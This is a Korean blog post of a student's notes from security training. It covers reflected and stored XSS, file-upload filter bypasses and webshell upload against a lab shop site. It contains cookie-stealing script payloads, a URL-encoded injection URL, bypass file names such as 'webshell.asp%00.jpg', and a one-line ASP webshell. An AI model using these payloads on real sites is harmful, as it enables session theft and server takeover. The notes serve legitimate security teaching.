동아리, 스터디, 교육/K-shield Jr. 10기

[오프라인 공통교육] 웹 사이트 주요 해킹 기법 -1

pxatd 2023. 4. 7. 17:13
728x90
💡 liveoverflow - 유튜브, 전반적인 해킹 기법, cve분석하는 법, 버그바운티 해설 등 올라오는 유용한 채널, 보다보면 최신 동향 파악 가능
  • alert(1) 대신 값을 찍어내는 document.domain으로 값을 찍어보는게 더 유용하다! → 스크립트가 실행된다고 해서 취약한게 아니라 이것을 통해 정보를 알아낼 수 있어야 취약한 것이기 때문
  • 구글 blogger의 경우 외부에서 스크립트를 받아오기 때문에 (분리된 서버, sandbox subdomains, iframe 형태로 삽입) XSS 공격으로 부터 안전할 수 있다. →zeroday sandbox 우회 기법도 계속 나오고 있음
  • 따라서 google bloger의 cookie 또한 읽을 수 없다.. → alert만 하지 말고 console(””) 로도 해보고 여러가지로 해서 정보를 탈취할 수 있도록 해야함! aleert는 너무 구시대적인 XSS 방법임
  • https://youtu.be/KHwVjzWei1c

XSS (cross site script)

  • Reflected XSS
    • 취약성 및 위험성
      • 메세지의 매개변수로 받는 동적인 페이지 → 개발 편의성 및 시간단축
      • 구성의 일부를 변수로 받아 이 내용을 HTML 소스에 삽입하는 페이지
      • 브라우저의 반환된 변수의 내용 조작 가능
      • 클라이언트 사이드 스크립트의 이용자 실행 가능
<script>alert(document.cookie);</script>
or
"><script>alert(document.cookie);</script>

//cookie 값이나 domain 값 찍어보기 
<script>alert(document.dmoian);</script>

//alert이 막혀있는 경우
<script>console.log(document.cookie);</script>

//이렇게 문자열이나 숫자를 출력하게 하는 방법은 좋은 방법이 아님 
<script>alert(1);</script>
<script>alert('XSS');</script>
  • stored XSS
    • 취약성 및 위험성
      • 악의적 사용자가 게시판에 실행하고자 하는 악성코드가 남긴 조작된 데이터를 등록
      • 희생자는 해당 게시물을 열람하였을 때 공격자의 데이터가 담긴 악성코드가 실행
      • 클라이언트 사이드 스크립트의 이용자 실행 가능
        • 희생자의 Session ID 또는 Cookie 값을 탈취하여 해당 사용자의 권한 획득
        • 사용자 PC에 악성 프로그램 설치로 인한 개인정보 탈취 및 PC 정상 작동 방해

 

 

실습실 실습 (oyesmall)

  • cookie값 찍어보기

  • 글쓰기 페이지

  • 주소창 페이지
http://10.10.0.138/demoshop/shop/shop_topview.asp?top=4?"><script>alert(document.cookie);</script>

=

http://10.10.0.138/demoshop/shop/shop_topview.asp?top=4?%22%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E

  • 개발자도구-소스코드를 보면 알 수 있음, 카테고리를 누를 때마다 도메인이 바뀜, topview 에서 스크립트를 박는게 파라미터에 박는 것
  • blocked, ignored 라고 되어있으면 시큐어 코딩이 되어 있는 것

 

 

파일 업로드 취약점

  • 주로 Web shell 로 침투
  • 취약성 및 위험성
    • 애플리케이션 개발, 운영 환경과 동일한 언어로 작성된 악성파일을 웹 서버 측에 업로드
    • 원격으로 해당 파일에 접근하여 실행시키는 취약점
      • 작성된 공격 파일 기능에 따라 다양한 위험 존재
      • 웹 쉘 등의 파일을 이용한 시스템 장악 목적
  • 대소문자 우회 공격.aSp, Jsp, phP, eXe
  • 확장자를 비교할 경우 대소문자를 무시한 문자열 비교를 해야함
  • 확장자 연장 우회 공격webshell.jpg.asp
  • 확장자 필터링을 조건문자(.)를 기준으로 앞쪽부터 유효한 파일인지 필터링
  • 특수문자 우회 공격webshell%00.asp
  • %00 = null
  • 종단 문자를 이용한 우회 공격
  • PUT 메소드를 이용한 공격
  • windows IIS 서버에서 webDAV를 사용하고 있다면 PUT 메소드를 사용하여 서버에 파일을 직접 올릴 수 있음

 

 

WebShell 취약점 실습

  • 참고자료

https://code1018.tistory.com/96

https://hack-cracker.tistory.com/255

→webshell.txt.asp 로 바꾸면 업로드가 됨

→ 다운 받아줌, 접근 경로 버프 수트를 확인 →웹 쉘 접속 가능

  • 버프 수트로 보기

  • 개발자 도구로 보기

http://10.200.132.21/demoshop/shop_board/upload_file/webshell.txt.asp

 

  • 웹 쉘에서 ipconfig 입력해보기
  • 파일명을 webshell.asp%00.jpg로 바꾸기

역시 업로드가 가능하며 이 경우에는 webshell.asp로 인식되어 업로드 된다.

역시 웹쉘로 접속 가능

 

  • 100byte 이하로 웹쉘 올리기 (한 줄 웹쉘)

<%eval(request("cmd"))%>

해당 파일을 실행한 웹쉘 주소에 아래 명령어를 파라미터값으로 넘겨줌

 

728x90